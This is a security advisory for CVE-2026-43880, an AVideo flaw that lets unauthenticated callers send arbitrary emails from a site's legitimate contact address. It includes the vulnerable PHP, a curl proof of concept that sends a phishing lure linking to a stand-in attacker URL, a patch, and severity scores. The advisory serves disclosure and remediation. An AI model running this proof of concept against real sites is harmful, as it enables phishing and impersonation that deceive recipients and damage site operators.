Advisory details:
github_osv / GHSA-5hgj-7gm9-cff5
| Advisory ID | github_osv/GHSA-5hgj-7gm9-cff5 |
| Aliases |
CVE-2026-43880
|
| Summary | AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address ## Summary `objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a "public write action" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation. ## Details **Vulnerable code (`objects/sendEmail.json.php`):** ```php 10: $valid = Captcha::validation(@$_POST['captcha']); 11: if(User::isAdmin()){ 12: $valid = true; 13: } ... 16: if ($valid) { ... 24: $mail = new \PHPMailer\PHPMailer\PHPMailer(); 25: setSiteSendMessage($mail); // uses site's SMTP credentials ... 30: $replyTo = User::getEmail_(); 31: if (empty($replyTo)) { 32: $replyTo = $config->getContactEmail(); // <-- FALLBACK to site's own email 33: } 34: 35: $sendTo = $_POST['email']; // attacker-controlled recipient 36: 37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field 38: if (!empty($_POST['contactForm'])) { 39: $replyTo = $_POST['email']; 40: $sendTo = $config->getContactEmail(); 41: } 42: 43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) { 44: $mail->AddReplyTo($replyTo); // site's address 45: $mail->setFrom($replyTo); // From: site's address ... 47: $mail->addAddress($sendTo); // TO: attacker-chosen victim ... 49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8'); 50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})"; 51: $mail->msgHTML($msg); ... 55: if (!$mail->send()) { ... } ``` **`User::getEmail_()` (`objects/user.php:345-352`):** returns `''` when the caller is not logged in, driving the fallback to `$config->getContactEmail()`. **Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in "public write actions" CSRF/same-domain bypass: ```php static $builtinBypass = [ ... // Public write actions 'sendEmail.json.php', ... ]; if (in_array($baseName, $builtinBypass, true)) { return; } ``` **Why existing defenses don't mitigate the abuse:** - **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse. - **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address. - **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender. - **No rate limiting, no auth check, no association between the caller and the recipient address.** **Flow summary for the abuse case (unauthenticated, no `contactForm`):** 1. `User::getEmail_()` → `''`, so `$replyTo` = site's contact email (line 32) 2. `$sendTo` = attacker's chosen recipient (line 35) 3. `contactForm` branch skipped (line 38) 4. Site's SMTP sends `From: <site contact>` to `<victim>` with attacker's subject/body (lines 44-51) Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail. ## PoC Endpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`). ```bash # 1. Obtain a session + captcha image curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png # attacker manually solves the captcha -> e.g. 'abc123' # 2. Send phishing email. Note: contactForm is OMITTED. # - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email # - $sendTo = attacker-chosen recipient # - setFrom($replyTo) -> From: is the site's real address curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \ --data-urlencode 'captcha=abc123' \ --data-urlencode 'email=victim@target.com' \ --data-urlencode 'first_name=Support Team' \ --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset' ``` Expected server response: ```json {"error":"","success":"Message sent"} ``` Delivered headers at `victim@target.com`: ``` From: <site's legitimate contact email, e.g. contact@legit-videosite.com> Reply-To: <site's legitimate contact email> To: victim@target.com Subject: Message From Site <SiteName> (Support Team) Body: <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended... ``` Contrast with the intended `contactForm=1` flow (correctly routes to the site owner): ```bash curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \ --data-urlencode 'captcha=<newcaptcha>' \ --data-urlencode 'email=attacker@attacker.com' \ --data-urlencode 'comment=hi' \ --data-urlencode 'contactForm=1' # -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.) ``` Omitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity. ## Impact - **Phishing with the site's real sender identity.** Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics. - **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator. - **Mail-reputation damage.** Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability. - **Works against any AVideo instance with SMTP configured** — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required. ## Recommended Fix Collapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch: ```php // objects/sendEmail.json.php ... $valid = Captcha::validation(@$_POST['captcha']); if (User::isAdmin()) { $valid = true; } // Reject the non-contactForm branch for unauthenticated callers. // The "share with a friend" flow already requires User::isLogged() // in the UI (view/.../functiongetShareMenu.php), so enforce it here too. if (empty($_POST['contactForm']) && !User::isLogged()) { $obj = new stdClass(); $obj->error = __("Authentication required"); header('Content-Type: application/json'); echo json_encode($obj); exit; } $obj = new stdClass(); $obj->error = ''; if ($valid) { ... $replyTo = User::getEmail_(); if (empty($replyTo)) { // Should no longer be reachable for arbitrary recipients. // Keep as defense-in-depth only for contactForm=1 path. $replyTo = $config->getContactEmail(); } ... } ``` Additional hardening: 1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller's address only in `Reply-To`. Never reuse `$config->getContactEmail()` as the From for user-initiated messages. 2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP. 3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains. 4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 4.8 |
| Risk | 2.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 5.3 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-5hgj-7gm9-cff5/GHSA-5hgj-7gm9-cff5.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| 4e3709895857a5857f0edb46b0ee984de0d9e1a2 | Other | https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2 |
| CVE-2026-43880 | https://nvd.nist.gov/vuln/detail/CVE-2026-43880 | |
| GHSA-5hgj-7gm9-cff5 | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-12T12:55:28Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/43xxx/CVE-2026-43880.json
Source Advisory: vulnrichment/CVE-2026-43880
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]